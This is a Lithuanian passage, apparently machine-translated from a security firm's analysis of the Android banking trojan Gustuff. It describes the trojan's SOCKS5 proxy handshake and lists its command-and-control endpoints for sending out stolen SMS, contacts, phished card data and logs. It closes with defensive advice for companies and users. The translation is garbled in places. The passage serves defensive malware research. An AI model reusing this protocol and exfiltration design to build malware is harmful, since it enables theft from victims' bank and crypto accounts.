PONG pranešimas susideda iš 4 baitų ir atrodo taip: 0x04000000.

Kai gaunama komanda connectId (kad būtų sukurtas naujas ryšys) CommandConnection sukuria klasės egzempliorių Proxy Connection.

  • Įgaliojime dalyvauja dvi klasės: Proxy Connection и pabaiga. Kuriant klasę Proxy Connection jungiantis prie adreso ProxyConfigClass.host: ProxyConfigClass.proxyPort ir perduoti JSON objektą:

 {
    "id":<%connectionId%>
}

Atsakydamas, serveris siunčia SOCKS5 pranešimą, kuriame yra nuotolinio serverio, su kuriuo turi būti užmegztas ryšys, adresas. Sąveika su šiuo serveriu vyksta per klasę pabaiga. Ryšio sąranką galima schematiškai pavaizduoti taip:

Kaip Android Trojos arklys Gustuff nugriebia grietinėlę (fiat ir crypto) iš jūsų paskyrų

Tinklo sąveika

Kad tinklo uostytojai neanalizuotų srauto, CnC serverio ir programos sąveika gali būti apsaugota naudojant SSL protokolą. Visi perduodami duomenys tiek iš serverio, tiek į jį pateikiami JSON formatu. Programa veikimo metu vykdo šias užklausas:

  • http://<%CnC%>/api/v1/set_state.php - komandos vykdymo rezultatas.
  • http://<%CnC%>/api/v1/get.php - gaudamas komandą.
  • http://<%CnC%>/api/v1/load_sms.php — SMS žinučių atsisiuntimas iš užkrėsto įrenginio.
  • http://<%CnC%>/api/v1/load_ab.php — kontaktų sąrašo įkėlimas iš užkrėsto įrenginio.
  • http://<%CnC%>/api/v1/aevents.php – užklausa pateikiama atnaujinant parametrus, esančius pirmenybės faile.
  • http://<%CnC%>/api/v1/set_card.php — įkelti duomenis, gautus naudojant sukčiavimo langą, pridengtą „Google Play“ rinka.
  • http://<%CnC%>/api/v1/logs.php – žurnalo duomenų įkėlimas.
  • http://<%CnC%>/api/v1/records.php – duomenų, gautų per sukčiavimo langus, įkėlimas.
  • http://<%CnC%>/api/v1/set_error.php – pranešimas apie įvykusią klaidą.

Rekomendacijos

Siekdamos apsaugoti savo klientus nuo mobiliųjų Trojos arklių grėsmės, įmonės turi naudoti visapusiškus sprendimus, leidžiančius stebėti ir užkirsti kelią kenkėjiškai veiklai, neįdiegiant papildomos programinės įrangos vartotojo įrenginiuose.

Norėdami tai padaryti, mobiliųjų Trojos arklių aptikimo parašo metodai turi būti sustiprinti naudojant technologijas, skirtas analizuoti kliento ir pačios programos elgesį. Apsauga turėtų apimti ir įrenginio atpažinimo funkciją naudojant skaitmeninių pirštų atspaudų technologiją, kuri leistų suprasti, kada paskyra naudojama iš netipinio įrenginio ir jau pateko į sukčiaus rankas.

Iš esmės svarbus dalykas yra kryžminio kanalo analizės prieinamumas, leidžiantis įmonėms kontroliuoti riziką, kylančią ne tik internete, bet ir mobiliajame kanale, pavyzdžiui, mobiliosios bankininkystės programose, operacijose su kriptovaliutomis ir bet kokiais kitais atvejais. galima atlikti sandorius.finansinis sandoris.

Vartotojų saugos taisyklės:

  • nediekite programų mobiliajam įrenginiui su Android OS iš kitų šaltinių, išskyrus Google Play, atkreipkite ypatingą dėmesį į programos prašomas teises;
  • reguliariai diegti Android OS naujinimus;
  • atkreipkite dėmesį į atsisiųstų failų plėtinius;
  • nesilankykite įtartinus šaltinius;
  • Nespauskite SMS žinutėmis gautų nuorodų.

Vaidina Semjonas Rogačiova, Grupės IB kompiuterių teismo ekspertizės laboratorijos jaunesnysis kenkėjiškų programų tyrimų specialistas.

Šaltinis: www.habr.com

Добавить комментарий